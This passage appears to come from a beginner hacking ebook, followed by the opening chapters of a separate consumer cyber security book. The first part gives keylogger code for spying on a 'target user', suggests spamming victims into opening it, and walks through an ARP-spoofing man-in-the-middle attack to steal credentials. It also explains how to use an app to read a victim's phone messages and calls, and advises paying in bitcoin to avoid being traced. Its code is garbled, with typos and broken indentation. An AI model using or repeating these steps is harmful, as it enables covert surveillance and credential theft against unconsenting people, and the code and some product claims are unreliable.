Another issue that we are going to work on fixing is putting a timestamp on the information. Right now you see that the symbols are being typed, but without knowing the time, it is hard to know which symbols go together and which ones are far apart. We are able to go through and work on adding in a timestamp so that it is easier to see some of the patterns that come up.

It is pretty easy to fix both of these issues so that you are able to get the information that you need without having to worry about the target user seeing what you are doing. The code that you can use to make this happen includes:

```
    from datetime import *
import os

root_dir = os.path.split(os.path.realpath(_file_))[0]
log_file = os.path.join(root_dir, "log_file.txt")

def log(message):
    if len(message) > 0:
    with open(log_file, "a") as f:
    f.write("{}:\t{}\n" .format(datetime.now(), message))
    # print "{}:\t{}" .format(datetime.not(), message)
```

This point in the code is creating a keylogger, rather than a code that is just for watching the keys. The first thing that we did was add in a datetime library so that it can block together the statements that are important. This basically makes it so much easier to see what times things were typed into the program and see the patterns. Then we moved on to define the filename where the data that you collect is stored. And then the third thing we did was create a log function, which will take the string values to get the file logged.

When testing out this script, if you want to see what the user is writing out in real time, you will be able to uncomment the as time so that this same message can be printed to stdout while the script is running.

At this point, there are a few more issues that stand out. The most noticeable is that the words are all coming out one letter per line, which makes it really hard to read. We are able to go through and make it so that you have chunks of text that will come in together, along with the timestamp, so that you can actually see whole words and not just letters.

```
buffer = “”

def keypress(event)
        global bugger

if event.Ascii
        char = chr(event.Ascii)

if char = = “~”:
log(bugger)
        log(“---PROGRAM ENDED---“)
        exit()

if event.Ascii ==13:
        buffer += “<ENTER>\n”
        log(buffer)
        bugger = “”
elif event.Ascii==8:
        buffer += “<BACKSPACE>”
elif event.Ascii==9:
        buffer += “<TAB>”
else:
        buffer += char

pause_period = 2
las_press = datetime.now()
```

```
pause_delta = timedelta(seconds=pause_period)

def keypress(event):
global butter, last_press
if event.Ascii:
char = chr(event.Ascii)

        if char == "~":
log(buffer)
        log("---PROGRAM ENDED---")
        exit()

pause = datetime.now()-last_press
if pause >= pause_delta:
        log(buffer)
        buffer = ""

if event.Ascii ==13:
        buffer += "<ENTER>"
elif event.Ascii==8:
        buffer += "<BACKSPACE>"
elif event.Ascii==9:
        buffer += "<TAB>"
else:
        buffer += char
last_press = datetime.now()
```

This code has also gone on to add in for periods, special characters, and anything else that the target user may try to put into the computer. Once the target user has opened up the keylogger and started typing, you will be able to see what is going on with their own writing and often you will start to notice some patterns.

While we will not discuss it here, another thing that you are able to add in with your keylogger to make it more efficient and easier to use is a screenshot tool This tool is able to take screenshots of the websites and other

things that the user is on and send them back to the hacker. This can be nice because the hacker will be able to look at a screenshot, see that the user went to a bank website or another personal website, and then they will be able to compare timestamps with the keylogger to see what usernames and passwords were used.

A keylogger, when done properly, can be a great tool for the hacker. It allows them to have access to a lot of information that would be hard to get otherwise. Use the code above, and maybe some spamming techniques to get the user to open it up, and you can see all the strokes that they use on the keyboard.

Chapter 8: Man in the Middle Attacks

Spoofing and man in the middle attacks are another option that a hacker is able to use against you. Spoofing is a great technique that a lot of hackers like to use because it allows them to pretend to be another person, organization, software, or website. The idea with this one is that the hacker is picking out a program or person who has access to a system and then pretends to be that person to gain access. If the hacker is successful, the system will see that the hacker is there, but it will believe the hacker is authorized to be on the system. This makes it easy for the hacker to gain access to whatever information they want on the network without being found.

There are a few different types of spoofing attacks that a hacker can use. The first kind is IP spoofing. This technique is good because it allows the hacker to take their IP address and then mask it. In some cases they are even able to hide it so that the network becomes fooled, thinking that this hacker is a user who should be on the system. It doesn't really matter where the hacker is located, whether right next door or across the world, they are able to use this type of spoofing to get into the system that they want.

Once the hacker is able to get into the network, they can pretty much take over, change up files if they would like, and mess around without the system detecting them. This type of technique is a good one to use because the hacker will use an IP address that is actually trusted by the network, rather than making one up. The hacker will have to look around for this trusted IP address for a bit, but once they find it, they will use this information to make some changes to their own system, allowing them to gain full access.

DNS spoofing is another option that the hacker is able to use This method works by having the target user go to a website, one that is usually legitimate (or at least one that looks legitimate). But the hacker has gotten to work on this website. They went and took the IP address and linked it to a malicious website. When the user clicks on this website, they will be redirected, often without noticing.

With this hack, the hacker will sometimes take a good website and then take it over, other times they will just change a few letters, effectively changing

the website but they look so similar the user may have trouble distinguishing and seeing the difference. The user may not be paying attention, or they could type in a wrong address, and then they are sent to the infected website. This allows the hacker to send out viruses, get personal information, and more.

The thing about these DNS attacks is that the user won't realize that they have been redirected to a bad site in most cases. They will believe that the website is where they want to be and often they will place in some personal and private information, send out a payment and more. But all that information will go straight to the hacker.

If the hacker wants to be able to do this kind of hack, they need to make sure that their own LAN and the LAN of their target are the same. The hacker will need to do a search to find a weak password on the network and then take it over. When the hacker has been able to do this, it is easy for them to redirect the users over to their infected website while also being able to monitor the activities that are done on that website

Next on the list is email spoofing. This is a useful option if the hacker would like to go through the security that is found in email. The email servers are pretty good at figuring out when something is spam and something is legitimate, but it is just a machine and mistakes can be made. If something does look like spam, or the system believes that it is going to be harmful to your computer, you will not find it in the inbox and unless you search for it, you are unlikely to see it.

With the use of email spoofing, the hacker can get around this security and still send out spam or other harmful links. These are often clicked up the user because they assume that the email and the links are inside. This is why you should always be careful with emails and links that you get, even if they do end up inside your inbox.

Phone number spoofing is another technique that a hacker is able to use This method requires the hacker to use a false area code, or to even change the whole phone number, so that they can mask information about themselves. While this spoofing technique is complex, it is a way for the hacker to send out text messages with the spoofed number, get into the messages on your

voicemail, and even to mislead the target for some reason about where the phone call is coming from. For example, some hackers will use phone number spoofing in order to make their number look like a government offices number, which may make the target more likely to hand over some of their personal information.

There can be a lot of issues that come with these types of attacks. This is because it is hard for the network administrators to spot the attacks. This allows the hacker to stay on this network for as long as they would like, causing a lot of damage in the process. The hacker can get through the network easily because of the different security protocols and there is the possibility that the hacker will interact with each user on the network, often without being detected. Without being seen, the hacker is able to do what they want on the network.

Man in the middle attacks

One of the most popular forms of spoofing attacks is known as a man in the middle attack. There are two ways that you will be able to use this one. Some hackers will use it as a passive attack meaning that they will just get into the network and look around, sniffing out the system and looking at information, but not causing any issues. The hacker also has the option of doing an active attack. This is when they start causing damage and people finally realize that they are on the network.

A man in the middle attack will be done when the hacker conducts what is known as ARP spoofing. The hacker is able to use this in order to send out false ARP messages over their target network. When they are successful, these fake messages will help the hacker to link up with another user through the IP address. The user will need to be from someone who already has access to the system or it will not work. Once the hacker is able to link up to the IP address, they will start to receive the data that this particular user sends over the IP address.

To keep things simple, the hacker is going to take over a valid IP address (or one that is already allowed on the network) and then they will make it their own. The hacker will then be able to receive communication, files, and any

other information that the original user is supposed to get. They get to choose how they would like to use this information. They could just take a look at it and wait things out, or they could change up the information before sending it on.

There are a few different attacks that the hacker can do once they get attached to an IP address. These include:

Session hijacking: this type of attack will be when the hacker is able to use the fake ARP to steal the ID of the user for that session. This allows the hacker to get ahold of the information that goes through and at some point they can use this information to gain access to this account.
Denial of service attack: with this attack, the ARP spoof will link several of the IP addresses back to the target. The data that often goes to the other IP addresses will then be sent over to one device, rather than to the separate ones they are supposed to. This overloads the system and can shut out everyone.
Man in the middle attack: this attack will let the hacker get into a network, but they will remain hidden. Since no one else is able to see that the hacker is there, they can intercept messages, change information, and even more.

Now that you have a good idea of how man in the middle attacks work, it is important to learn how to complete one. Here we will use the tool known as Backtrack in order to create our own man in the middle attack.

First, you need to figure out what kind of data you want to collect before you get started. You can use a tool that is known as Wireshark to help you out. These tools help you to see what traffic is going through and it is a good starting point if you are uncertain about this.

Now you should go to your wireless adapter and make sure that you have turned it over to monitor mode. This is a good idea because it allows you to get a good idea of what traffic is coming in and out of your connection. You will even be able to see traffic that isn’t supposed to be on the network. You can use this option if you are on a hubbed network because their security isn’t as high as you would find on switched networks.

This can be really useful if you already know the information type that is

being sent by the users who are on the same switch. You can also work to bypass this completely. To do this, you would need to work to make some changes to the entries that are on your CAM table. You want to map out which IP address and MAC address are sending out this information back and forth to each other. When you are able to change the information on these entries, it is easy for the hacker to get ahold of the traffic they want, the information that is supposed to go to another computer. This is where the ARP spoofing attack comes in.

At this point, you will need to get your Backtrack software working. You can pull it up and then make sure that all three terminals that go with it will be up as well. Next, take the MAC address from your target user and then replace it with the MAC address that your computer is using. The code that you will use for this part will be “arpspoof [client IP] [server IP].

Once this is done, you can then reverse these IP addresses into the same string that you just did. What this does is basically tell the server that instead of sending the information to the original user, it should send it to you. This allows you the authorization to get into your target system and perform the tasks that you want. This method is going to turn the hacker into the client and the server, allowing them to take the packets of information that are sent through and make changes as needed before sending it on.

For those who are using Linux, you can use the built in feature known as ip_forward, which will make it easier to forward the packets you are receiving. Once you turn this feature on, you will be able to go back into Backtrack and forward these packets with the command echo 1>/proc/sys/net/ipv4/ip_forward.

This command is important because it will help you to be located between the server and their client. You will start to get the information that goes on with them. In addition to reading the information, you can take it, make changes, and more.

From here, we need to take a look at the traffic. You have front row access to seeing this information without anyone on the network being able to notice you. The Backtrack tools will provide you with everything that you need to

sniff out your traffic and will give you a good picture of what is going on, but you must make sure that you activate this feature so that it starts working.

At this point, it is just a waiting game. You need to wait for your client to log into this server. Once the client is on the server, you will receive information on their password and username without having to do any extra work since the users and the administrators are all going to use the same credentials on the system, you can now use these as well to get on.

These credentials are going to be important because it makes things easy to get into the network and see the information that you would like. The hacker will be right in the middle of the network, receiving all the information that they want, but no one else will be able to see them there. And that is how you complete your man in the middle attack.

Chapter 9: How to Hack into a Smartphone

So many people have changed over to using smartphones as their choice of technology. Not only does this help them to spend time talking and communicating with others around them, but these smartphones have become like little personal computers that can make life easier. It is now common to make purchases, do banking, send emails, and so much more on a smartphone. And this means that there is potentially a lot of information that is stored on these devices.

Because of the popularity of smartphones and how many people put personal information on these devices, many hackers are finding ways to get into these smartphones. And most smartphones do not have protection on them to prevent these kinds of hacks. This is good news for a hacker but bad news for you if you want to keep some of your personal and financial information safe. Learning how to keep your smartphone safe and preventing these hackers from getting on can be a big challenge.

In this chapter, we are going to take a look at some of the simple steps that you can take to get into a smartphone. In this case, we will look at how to get into an Android smartphone. You do need to download a bit of software for this one from a legitimate third party. This simply makes it easier for you as a beginner to get started. The nice thing about this procedure is that it will let you get access to the phone that you want without letting them know who you are. It is a remote exploit, which means that all of the work can be done without touching the smartphone and it can be done over an internet connection that is secure.

To get started, you need to do the following steps:

- Go to the website for MasterLocate, which is just MasterLocate.com and then use their online app. You don’t have to go through and download this software to the phone or computer in order to get it in use. This is a great tool because it makes it easy for you to track the GPS location, in real time, of your target, monitor their text messages, listen in on their calls and also keep track of their Facebook accounts all in one.

- Once you have found the MasterLocate app, you should let it run either on your computer or your phone.
- This app should have a dialog box that pops up in the field that says something like “Victim’s Mobile Number”. Enter whatever the number of the target is here, but you do need to make sure that the phone of your target is online when you do this step.
- In this dialog box, right under the last field, there should be a Verify tab. When you click on it, the program is going to try to attempt to establish a connection. You can wait to see if the country of the target comes up.
- When this connection is established and you can verify it, it is time to go over to the right side of your dialog box. Take a moment to browse through the reports section in order to view the information on this phone including the files, call logs and even messages. You can choose to download some of this information on your device. With this app, you just need to click on Export Method. This is going to present you with some options to download including .rar and .zip.

As you can see this particular method of hacking is going to be pretty simple and easy to work with. All that is needed is to make sure that the target is able to stay online through the hacking process. If there does happen to be some interruptions in the connection, the whole process is going to stop. You also need to know which country the mobile number of the target comes from and their phone number to keep things simple.

Hacking with apps

Another method that some hackers will use in order to get into a smartphone is through the app store. Sometimes they will create a new app and get people to purchase it. Other times, the hacker can create a patch to a popular app that is already in existence. They will then send out a notification to users of that app telling them that they needed to do the upgrade. They will think this information is legitimate and do the upload.

The hacker is then able to attach any hacking tool that they would like to the app at that time. Some just get into the phone and pick the information of the phone that they need. Others will do viruses, backdoors, and more. It is easy to infect a lot of phones in this manner because most people are still pretty trusting when it comes to their smartphones.

You should always be careful about the apps and the patches that you are using with your smartphone. Make sure to read the reviews and check to see if it looks good. If you see a notification about a patch for one of your apps, make sure to check the website of the original app to see if this patch is really necessary or if it is a hacker trying to get into your phone.

How to prevent smartphone hacking

Now if you are reading through that last section and feeling a bit worried about how safe your smartphone is and trying to figure out how you are able to keep your smartphone as safe as possible. Luckily, there are a few things that you can do to make sure that your phone is able to stay as safe as possible. These include:

- Ensure that your phone as an antivirus on it. This one needs to be updated, trusted, and as reliable as possible.
- When you are browsing the internet, it is best to stick with a Wi-Fi connection that is secure. If you go with one that isn’t secure and is out in public places, it is easy for the hacker to get the data they want from victims that are not paying attention. If you do use a Wi-Fi that is public, it is best to never go shopping or do anything that would

need your banking information.

- Avoid downloading apps, especially those that need your personal information.
- If you are unsure about the source of the software that you want to download, it is best to just leave it alone. If you want to work with a new app, make sure to download it from an app store that is verified. Always check out reviews as well.
- Every time that you are not using your phone, lock it so that it is harder to get on. Pick out a password that is really strong and set up reminders to change it on a regular basis.
- If you get a text message that has a link, never click on that link. You should just erase the spam messages when they come into the phone. It is common for a hacker to just send out the same text to thousands of phone users while trying to claim that they are from a legitimate website. Whenever the user clicks on the link, the malware is installed on your phone, and they can access the data so don't click on this.

There are billions of these mobile phones that are found all over the world, and since most of them don't have antivirus or other protections on them, this is an easy and fast method of attack that hackers can use. This is especially true since so many people use their phones for banking and other personal purchases. Most people are pretty good about being wary on their laptops and computers but when they get to their phones, all their guard goes down. This is why it is so important to follow the tips above and to be careful whenever you are using your smartphone.

Chapter 10: Easy Tips for Beginners

As a beginner hacker, you will want to make sure that you are getting started on the right foot. You want to learn some of the basic skills that will help you to get better with your hacking skills and to help you not get caught. Even as a white hat hacker, you want to be able to get into the system and look around without being found out, or you will not be able to keep the black hat hackers out. This chapter is going to look at some of the tips that you should follow in order to help you be successful at hacking each time.

Make sure that you rely on your own hacking tools. This can easily be done if you learn how to work on a programming language. Some beginners are going to start out with a hacking software to do the work, but then you have to hope that they are secure and you won't get caught. There are also a lot of scammers out there who will take your money and give you useless software. In some cases, these programs are going to steal your data, kind of defeating the purpose of what you want to do as a hacker.

If you do use a program that someone else designed to make it easier, you need to make sure that you stick with a verified and legitimate site to make the purchase. You want to do some good research and ask some other computer programmers what they would use and where they get this stuff from to make it easier.

Next, you need to make sure that you never download anything that is considered freeware from the internet. You would be surprised at how many of these contain hacking tools like Trojan horses and keyloggers. If you want to be serious about your hacking you need to spend a bit of money to pick out options that are going to work, rather than going for the stuff that is free, no matter how tempting it is. Even better, you should consider learning how to make your own programs because then you don't have to worry about using ineffective programming or having hacking tools installed on your computer.

When you do decide to purchase some hacking tools or software, it is best to work with bitcoin. Other forms of currency can be traced right back to you and this can be bad if something goes wrong or if you don't want others to know who you are. This can be even truer if you use a personal credit card.

Bitcoin is completely anonymous so you are able to hide all of your hacking activities and it would be hard for others to know what you are up to.

If you want to get into hacking, you really need to spend some time developing your skills. You may be skilled with web development, but that is not the whole story with hacking. You should learn some programming and even some script writing. The more different niches that you know about with the computer technology world, the more comfortable you will feel when it is time to hack into a network.

And finally, while it is fine to do a few hacks in the beginning with software that you got from another source, it is best to learn how to do some of your own codes and programs. The best hackers, or those who were able to stay in the game and not get caught, were able to write out their own scripts, programs, and codes. If you are able to spend some time creating your hacking tools, then you are able to move towards being an elite hacker that can get into any system that they want without needing the help from anyone else or having to trust others

Getting started with hacking can be a bit tough. You want to make sure that you are learning everything that you can to get started, but there is so much information out there and figuring out how to get through passwords, wireless networks, and more is not an easy process, especially for those who are just starting with computer learning. But if you follow these tips and try out some of the examples that we have talked about inside of this guidebook, you are sure to see the results that you want in no time.

Conclusion

Thank for making it through to the end of this book, let’s hope it was informative and able to provide you with all of the tools you need to achieve your goals whatever they may be.

The next step is to get started with some of your very own hacks. There are so many different hacks that you can try and you can even do some on your own computer to try them out. working with a coding language will open up so many doors because it allows you to have the freedom to work on your own hacking tools without having to rely on anyone else in the process. This guidebook offered some great tools and techniques that you can use to get started on hacking all on your own.

There are a lot of hacks to try out, and in this guidebook, we took a look at some of the basic ideas like doing a social engineering attack, how to work on a man in the middle attack, how to get into a wireless network, and so much more. These are some basic attacks that hackers frequently use, and they will open up so many doors of information for you.

When you are ready to learn how to protect your own computer system or how to do some of these neat hacks on your own, make sure to check out this guidebook to help you get started.

Finally, if you found this book useful in any way, a review on Amazon is always appreciated

Cyber Security

Understand Hacking and Protect Yourself and Your Organization From Ever Getting Hacked

Introduction

Congratulations for downloading this book, and thank you for doing so. Cyber security, the practice of protecting yourself online, is of the utmost importance in today's digital, technologically advanced world. Both individuals and companies are at risk of having a hacker break into their computer systems and cause extensive damage. This damage includes but is not limited to identity theft, fraudulent financial transactions, significant financial loss, infection with viruses and other forms of malware, manipulation and/or deletion of data, and any other number of things that can wreak havoc on your personal life or your business.

Fortunately, there are a lot of things that you can do to protect yourself online. Most people are not aware of these things, thereby leaving themselves open to hackers. However, if you are reading this book, you are probably somebody who wants to know what you can do in order to keep your online presence safe. This book will show you how.

This book begins by discussing major and costly security breaches at corporations and governments to show why cyber security is so important. It then discusses the different types of hackers — helping you get inside a hacker's head — so that you know what you are up against. From there, it details multiple cyber security softwares — including what they are, what they protect you against, and how — that you can invest in to protect yourself online. It moves on to discuss best practices that you can engage in to ensure that you remain safe online. If you follow the guidance presented in these pages, you will both decrease the possibility that hackers will target you and, in the unlikely event that they do, you will be equipped to minimize the damage caused.

Best of luck to you as you take your online safety into your own hands and significantly decrease the chance that you are hit by hackers.

Chapter 1: What is Cyber Security and Why is it Important?

In December 2006, TJX company — the mother company behind stores like TJ Maxx and Marshall's — was hacked so that 94 million of its customers' credit card numbers and identifying information was stolen. For months TJX refused to reveal the size of the breach; it finally disclosed that 45 million credit card numbers were stolen, making it the largest security breach until that time.

At the beginning of 2009, Visa and MasterCard noticed suspicious activity through a myriad of transactions taking place through Heartland Payment Systems. An investigation uncovered that over 130 million credit card numbers had been compromised in a security breach. Heartland Payment Systems was deemed out of compliance by Visa and MasterCard and was not allowed to authorize payments using those cards for several months. The company also had to pay $145 million in compensation for the fraudulent payment activity.

In 2012, hackers reportedly from China broke into the United States Office of Personnel Management system, which contains highly sensitive information on every single individual who is employed by the US government. As the hack was not discovered, the hackers were able to stay inside the system until 2014. During this time, they had access to security clearances, fingerprints, and other critically sensitive information of US government employees. The official report on the security breach claimed that the security of these employees was compromised for a full generation.

In October 2013, the online company Adobe was found to have been hacked. The company originally reported that the hacker stole the encrypted usernames, passwords, and credit card information of three million customers. That number was later reported to be nearly forty million. However, investigators discovered that the hack actually led to 150 million users having their personal and financial information compromised. Adobe had to pay a million dollars.

Around Thanksgiving of 2013, Target's computer system was hacked, and the credit card and contact information — including the full names, email addresses, telephone numbers, and dates of birth — of over 100 million people was compromised. The hack was not discovered for several weeks, leaving those compromised credit card numbers and identities vulnerable all through the holiday shopping season. The total cost of the hack was estimated at $162 million; as a result, the CEO of Target resigned.

In May 2014, hackers broke into the eBay corporate account using the username and password of three employees. The security breach was not discovered until 229 days later, during which time they had access to the usernames, passwords, dates of birth, and addresses of 145 million users. Fortunately, credit card information was not compromised.

In July 2014, JP Morgan Chase, the largest bank in the United States, fell victim to a hack that affected nearly half of all American households as well as seven small businesses. Although the bank claimed that no money or social security numbers were stolen, the usernames and passwords of many accounts were stolen.

In September 2014, Home Depot announced that it was hacked, probably during the spring of that year; this hack led to the theft of the credit card information of 56 million customers. The hack began when malware masquerading as antivirus software infected the POS systems of the company's stores. The company had to pay nearly twenty million dollars in damages and identity theft protection services to those whose information had been compromised.

In February 2015, the largest security breach in healthcare history occurred when a group of cyber criminals, allegedly sponsored by a foreign government, hacked into the Anthem Health Insurance website. The attack led to millions of names, addresses, dates of birth, and the personal health information of individuals insured by Anthem to become compromised. The breach began when an Anthem employee opened up a phishing email; that one email led to well over one hundred million dollars in damages.

In the fall of 2016, while Yahoo was in negotiations to sell itself to the

company Verizon, it disclosed that back in 2014, it had been hacked. 500 million email addresses, real names, dates of birth, and other sensitive information that can lead to identify theft had all been hacked. In the early winter of 2016, it disclosed that it had also been similarly hacked back in 2013. This security breach led to compromising the information of one billion users. Yahoo lost $350 million in its sell price to Verizon, as well as its good name.

The above information isn't intended to scare you. It's intended to sober you into understanding the importance of cyber security and protecting yourself online. You may be thinking that these are major companies, so of course they will be targeted by hackers. But consider this: companies like Yahoo and Target spend millions and millions of dollars every year in cyber security, yet were still susceptible to security breaches by hackers. Chase Bank spends $250 million on security every year. How much money do you spend every year ensuring that your cyber security is up to date? Probably not nearly as much as these major companies. You are probably way, way more susceptible to a devastating security breach than they ever were.

What is Cyber Security?

Simply put, cyber security is the process whereby you protect yourself online, as well as your entire online presence. It consists of programs that you install on your computer, such as antivirus software or a virtual protected network (VPN), and practices that you may employ on a day-to-day basis, such as guarding your usernames and passwords or keeping a cover on your webcam. Cyber security is intended to protect individuals, companies, computers, networks, programs, and data from unauthorized access of their sensitive information or corrupting files such as viruses, worms, or Trojan horses.

Cyber security does not take a one-size-fits all approach. What works for one computer system may not necessarily provide full protection to another. You can't say that because you installed certain antivirus software, that you are now safe online. Technologies are constantly evolving and growing, at a rate that is so rapid that one can have a difficult time keeping up. Antivirus software that may have protected an older computer that you had five years ago may not protect you adequately on the computer that you have now. An

encryption program or VPN that promises to keep you safe online may leave you exposed to undetected threats, possibly those originating in other countries.

Hackers in particular are at the forefront of rapidly evolving technology. They are brilliant computer geeks who may spend hours, days, or even weeks at a time gaining access into other computer systems. Furthermore, they also have an entire underground economy of exploitation codes, botnet services, and other tools of the trade. In this black market, they can buy, sell, and trade with each other to make their hacking exploits even more damaging.

Different Types of Hackers

If you want to really understand cyber security, getting into the mind of a hacker will be beneficial. There is no single one stereotype of a hacker, but they all have two things in common: they are brilliant in regard to technology and have no qualms about breaking into other people's computers. There are several "subtypes" of hackers, so let's break them down.

The Hactivist. A hactivist is a politically motivated hacker who sees his or her hacking activities as promoting justice against oppression. Hactivists tend to work in groups; this method helps them stay anonymous and difficult to trace, as well as enables them to coordinate a large online attack that will be publicly noticed. Possibly the most well-known hactivist group is Anonymous. Anonymous is a group of loosely affiliated individuals who follow ideas and directives to promote their brand of social justice. For example, following the 2014 police shooting of the black man Michael Brown, Anonymous staged what it called "Operation Ferguson," named after the city where Brown was shot that became home to a series of riots and clashes between civilians and the police. They attacked the Internet and email systems of the City of Ferguson; the Internet went down at City Hall and the phone lines died. Anonymous has engaged in numerous other hacking activities, especially at times of civil unrest. They targeted Israeli computer systems during its assault on Gaza in 2014, as well as terrorist groups such as ISIS and the KKK. The public recognizes them largely by the Guy Fawkes masks, similar to the mask worn by the "terrorist" V in the movie *V for*

Vendetta, which they use to symbolize their anonymity and group power. Hactivists can cause significant problems, especially for governments and unjust corporations, by attacking their technological nodes and rallying common people to their causes. Unless you are engaged in political injustice, you probably don't need to worry too much about hactivists.

Cyber criminals. Cyber criminals are probably the hackers that you are most concerned about, and your concerns are well-founded. These are the guys who attack computer systems and networks in order to quickly make a lot of money. Cyber criminals may be exceptionally brilliant high school dropouts, middle-aged men who live in their mothers' basements, or rings of cyber criminals who work together to extort as much money as they can.

There is a full underground economy that cyber criminals use to exchange their tools of the trade. They can buy and sell attack toolkits, exploit codes, and botnet services. They also exploit the personal information of individuals, sometimes selling it for a profit. They may attack individuals or try to bring down entire companies or even governments, all for the sake of earning what they see as easy money. The examples cited at the beginning of the chapter, such as the TJX breach, were hacks committed by cyber criminals.

State-sponsored hackers. Of the three types of hackers, this newly emerging type is probably the most concerning. Governments around the world have found that they can inflict large amounts of damage by paying brilliant hackers buckets of money in order to do their dirty work. They intentionally seek out the best and the brightest, almost like a job search; one might think that state-sponsored hackers are actually government employees.

Because state-sponsored hackers are so well-paid, they have access to an entirely other class of hacking arsenal. Their attacks are undetectable for long periods of time and can sometimes even be unalterable.

Governments may utilize hackers for several different reasons, such as cyber espionage or intellectual theft. In *Operation Aurora,* US officials that Chinese state-sponsored hackers broke into Google, amongst other large, US-based companies, and gained sensitive information on US surveillance as

well as intellectual property. In *Operation Stuxnet*, a government, believed to be the US, used state-sponsored hackers to hide viruses on traditional computers, where they hid for years. The believed intention was to target Iran's nuclear program.

In order to stay ahead of hackers, you need a combination of different programs, as well as different well-intentioned efforts to protect your online presence. This book will help you make the best choices you can to protect your own cyber security and, by extension, protect your financial information, identity, and many other critically important things.

Chapter 2: Cyber Security Software

One of your front-line weapons in your battle to protect your own cyber security is the software that you use to keep your computer safe. This chapter will explore different types of software that you can use, as well as how you can choose the best of each kind.

Access Control

Access control is a method by which only a selected number of individuals or users are authorized to access a certain resource. One of the most common forms of access control in cyber security is the use of login credentials. Login credentials means that a user presents his or her credentials in order to gain access to the system. This may be in the form of a username and password, or it could be a more high-tech system, such as requiring that a user swipe a key card, scan a fob, or present a fingerprint or retina scan. If the individual's credentials check out, then he or she is granted access into the system.

The easiest form of access control that you can implement on your own computer is requiring that a password be entered before a user can log on. This will protect your computer, as well as the sensitive information stored on it, from prying eyes. On your desktop itself, you should also consider requiring a password to open files that contain sensitive information, such as the file that contains your usernames and passwords.

However, simply requiring a password will not be enough should your computer fall into the hands of hackers. Keep reading to see how else you can protect yourself.

Anti Key-loggers

Anti key-logging software is designed to prevent or disable the use of key-logging software. Key-logging software is software that records the pattern in which keys on a keyboard are struck. Usually key-logging software is covert,

so the individual being recorded is unaware. Key-logging software may be included in a malware package that is downloaded onto a computer without the owner of the computer's knowledge; hackers can use it to easily gain access to a computer or a system used by the computer's user by recording information typed in such as usernames, passwords, and credit card numbers.

Anti key-logging software detects key-logging software and either deletes it or immobilizes it so that it cannot be used on the computer. There are two basic types of anti key-logging software: signature-based and heuristic-based. Signature-based anti key-logging software has a long, developed list of key-logging software, as well as ways to easily identify if such software is being used. It then disables the software so that it is not able to record the keystrokes on a computer. Heuristic-based anti key-logging software doesn't have a list of key-logging software but rather maintains an analysis regarding the different features that key-logging software is known to have. Both types of software have benefits and drawbacks.

Companies such as financial institutions invest heavily in anti key-logging software, especially to protect the entering of information such as PINs. You can expect to pay $30 to $50 a year if you want to download anti key-logging software onto your own personal computer. Some top-of-the-line anti-virus software will also include anti key-logging software.

Anti-Malware

Malware is a rather ubiquitous term, and while most people understand that it is generally bad, they aren't entirely sure of what it means. "Malware" is short for "malicious software," and it is used to refer to any type of intrusive program that can damage or permanently disable your computer. This includes viruses, Trojan horses, worms, ransomware, and adware.

Anti-malware software is commonly referred to as anti-virus. It is designed to prevent, detect, and remove any form of malware before it gains access to your computer. Anti-malware was originally created to remove viruses, but now that there has been a proliferation of other forms of malware, it can protect users against things such as key-logging software, ransomware, Trojan horses, and any other types of malware. Some anti-malware also

protects users from malicious URLs and spam emails that can contain malware. Sometimes the user is notified that the information he or she is about to access may be malicious and given the option of accessing it anyways; sometimes, the user is completely prevented from being able to access any malicious information.

Some anti-malware software is free, so a lot of individuals are tempted to skimp out on protection. However, free anti-malware is not the best quality. In fact, some free anti-malware kits actually turn into viruses after they expire! You need to plan to make a small financial investment every year in high-quality anti-malware. If you have a PC, there are many options from which to choose, based on your budget and what your own security needs are. If you have a Mac, your computer is already equipped with built-in anti-malware. However, you will want to also download additional protection, such as MacKeeper, to keep your system running optimally.

You will want to run a system scan with your anti-malware at least once every month. If you are a gamer, download a lot, or access movie websites, you will want to scan it significantly more often.

Anti-Spyware

Spyware is software that hackers use to gain information from computer users without their knowledge. In other words, they spy on them. They can use spyware to try to access sensitive information such as credit card numbers, social security numbers, and other personal identifying information that can compromise a person's identity. This information can then either be used directly by the hacker or be sent to a third-party for a profit. The thought that your computer could be infected with this particularly malicious form of malware should send shivers up your spine!

Anti-spyware software is designed to either remove or block spyware, or to prevent it from being able to enter into a computer system in the first place. Many anti-malware packages include anti-spyware; for this reason, you should invest in a high quality, top-of-the-line anti-malware. If your anti-malware does not include anti-spyware, you need to invest in anti-spyware today.

Anti-spyware works in two ways. The first way is by scanning all of the network data that comes into a system to see if it contains any known form of spyware and any other related threats. The second way is by removing or blocking any spyware that may already be present. If your anti-spyware works in the second way, then you absolutely must scan your computer on a regular schedule to ensure that the spyware is dealt with before it causes catastrophic damage.

Some spyware cannot be removed with regular anti-spyware, especially if multiple large pieces of software have gained access to a Windows-based computer. If this happens, you will need to take your computer to a trained and certified specialist to have all of the data backed up and the operating system completely re-installed. This process may be quite costly, which is why you should invest money in anti-spyware sooner to keep from having to pay more later.

Anti-Subversion Software

Subversion software is a software that subverts the normal code on which a program is intended to run. It can do this for the purpose of corrupting the data stored in a system (possibly to protect an individual that the data may incriminate, or for any other nefarious reason), theft, and allowing unauthorized access into a system. Subversion software is a favorite tool used by hackers to corrupt programs.

Anti-subversion software stops subversion software and attempts to reverse it. It accomplishes this job through two primary ways. The first is called static anti-subversion. Static anti-subversion is created while the code itself is being created to ensure that the code cannot be corrupted. Dynamic anti-subversion, the second way, is carried out while the code is being executed and continually checks for unintended results of the code being carried out.

Anti-subversion software is a must if you are writing any kind of computer code, be it for yourself, for a company, or for an app that you want to develop because you think that it will benefit people. Software codes can be subverted at any point throughout their lifecycle, not just while they are being created,

so protecting them is of the utmost importance. Protecting the codes that you create is tantamount to protecting your own good name.

Anti-Tamper Software

Anti-tamper software essentially applies tamper resistance to any kind of software; therefore, attackers have a much more difficult time attempting to modify it. Tampering is a malicious activity associated with hacking and is usually done with the assistance of rootkits and backdoors. Rootkits are computer software that allow users to gain access to areas that would not otherwise be accessible, possibly because they do not have the right credentials (hence the need for high-quality access credentials). Backdoors are secret methods of avoiding authentication to gain access to a system and are used by hackers to remotely hack into a computer.

Tampering can take the form of installing rootkits or backdoors, installing malware, or disabling security monitoring, amongst other things. It causes the software that it gains access to become corrupted.

Anti-tampering software prevents hackers from being able to tamper with the software on your computer system. The two types of anti-tampering software are external anti-tampering and internal anti-tampering. External anti-tampering monitors software to detect whether or not tampering has occurred and usually comes in the form of anti-malware software; it is the kind that is most easily and readily accessible to general users. Internal anti-tampering causes the software in question to become its own security system, usually through a code. This form of anti-tampering software is used more often by coders and large organizations. Some anti-tamper technology utilizes encryption or other cryptographic software to prevent hackers from being able to view the codes used in software.

